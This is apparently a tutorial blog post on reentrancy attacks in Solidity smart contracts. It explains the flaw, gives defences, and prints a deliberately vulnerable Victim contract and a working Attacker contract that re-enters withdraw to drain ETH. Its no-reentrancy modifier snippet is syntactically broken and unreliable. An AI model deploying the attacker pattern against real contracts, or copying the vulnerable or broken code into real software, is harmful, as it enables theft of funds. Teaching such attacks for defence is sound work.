Reentrancy attack in a Solidity smart contract

A reentrancy attack in a Solidity smart contract is a common exploit. These attacks can completely drain your smart contract of funds. A reentrancy attack occurs when a function makes an external call to another untrusted contract. Then the untrusted contract make a recursive call back to the original function in an attempt to drain funds.

A simple example is when a contract does internal accounting with a balance variable and exposes a withdraw function. If the vulnerable contract transfers funds before it sets the balance to zero an attacker can recursively call the withdraw function repeatedly and drain the whole contract.

Undoubtedly, it is important to learn about different smart contract attacks. This will help you realize the risks of smart contracts and guide you to become a better developer. The goal is to help you avoid these costly mistakes in your code. Vulnerabilities can sneak their way into your code if you are not careful.

Below we will explore this recursive send exploit. First, we will review the basics of a reentrancy attack. Then we will review a working example of the attack.

Reentrancy attack overview

A reentrancy attack involves two smart contracts. A victims contract that contains bad code and an untrusted attackers contract.

  • Contract A calls a function in contract B
  • Then contract B calls back into contract A while contract A is still processing
Reentrancy attack in a Solidity smart contract

Contract B’s fallback function is used to call back into contract A to exploit the orders of operation in a poorly written function that is tracking balances. In the example above contract A’s function is written in the following order.

function()
   checkbalance
   sendfunds
   updatebalance

Try it in Remix

The contract should be written in the following order. This will prevent another contract’s fall back function from calling into it while processing.

function()
   checkbalance
   updatebalance
   sendfunds

Try it in Remix

Prevent a reentrancy attack

To prevent a reentrancy attack in a Solidity smart contract

  1. Update balances or code internally before calling external code
  2. Have a no reentrant modifier associated to a function

Modifier to prevent a no reentrancy attack

Add a modifier to your function to prevent a reentrancy attack.

modifier noReentrant() {
require (!locked, “No re-entrancy”);
locked = True;
_;
Locked =false

Try it in Remix

Example reentrancy attack contract

Victims contract

Below is the Victim contract which contains the reentrancy vulnerability. The withdraw function is where the vulnerability exists. The function is sending funds then running an if statement to an external call. Avoid external calls when possible. Calls to untrusted contracts can introduce unexpected risks, errors or execute malicious code.

The withdraw function in the Victim contact sends 1 ETH to msg.sender. The attacker should only be able to receive that 1 ETH, but the attacker is able to call the function more than one time before the function finishes executing.

pragma solidity ^0.4.25;

contract Victim {

  function withdraw() public {
    uint transferAmt = 1 ether; 
    if (!msg.sender.call.value(transferAmt)()) revert();
  }

  function deposit() public payable {}
}

Try it in Remix

Attackers contract

Below is the Attacker’s contract. The Attacker contract declares a variable v which is the victims address which is set in the constructor. The attack function calls the withdraw function in the victim’s contract. When ETH is received the fallback function in the Attack contract is invoked. The fallback function causes:

  1. The logFallback event to fire
  2. The if statement executes the withdraw function in the victims contract up to 10 times.
  3. The if statement counter keeps the withdraw function call from running out of gas which would cause the stolen ETH to revert.
pragma solidity ^0.4.25;

import './Victim.sol';

contract Attacker {
  Victim v;
  uint public count;

  event LogFallback(uint c, uint balance);

  constructor(address victim) public {
    v = Victim(victim);
  }

  function attack() public{
    v.withdraw();
  }

  function () public payable {
    count++;
    LogFallback(count, this.balance);
    if (count < 10) {
      v.withdraw();
    } 
  }
}

Try it in Remix

Next Review – Access private data on the ETH blockchain

1 thought on “Reentrancy attack in a Solidity smart contract

Leave a Reply